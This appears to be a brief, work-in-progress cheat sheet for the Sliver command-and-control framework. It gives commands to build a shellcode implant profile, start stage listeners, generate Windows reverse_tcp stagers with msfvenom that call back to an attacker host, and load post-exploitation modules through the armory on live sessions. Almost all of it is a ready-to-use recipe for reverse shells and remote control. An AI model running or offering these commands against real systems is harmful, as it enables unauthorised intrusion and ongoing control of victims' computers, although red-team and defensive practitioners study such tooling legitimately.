Sliver C2 Cheatsheet¶

Warning

Work in progress

Staged sessions¶

profiles new --http 10.0.0.11:8999 --skip-symbols --format shellcode demo

http -L 10.0.0.11 -l 8999

stage-listener --url tcp://192.168.122.1:9999 --profile demo --prepend-size

msfvenom -p windows/x64/custom/reverse_tcp LHOST=10.0.0.11 LPORT=9999 -f csharp -o /tmp/stager.cs

msfvenom -p windows/x64/custom/reverse_tcp LHOST=10.0.0.11 LPORT=9999 -f go -o /tmp/stager.go

# compile runner.exe

Armory¶

When your sliver session/beacon is up, you can use the armory command that embed of useful prebuilt features

sessions
use $id
armory
armory install sa-whoami
sa-whoami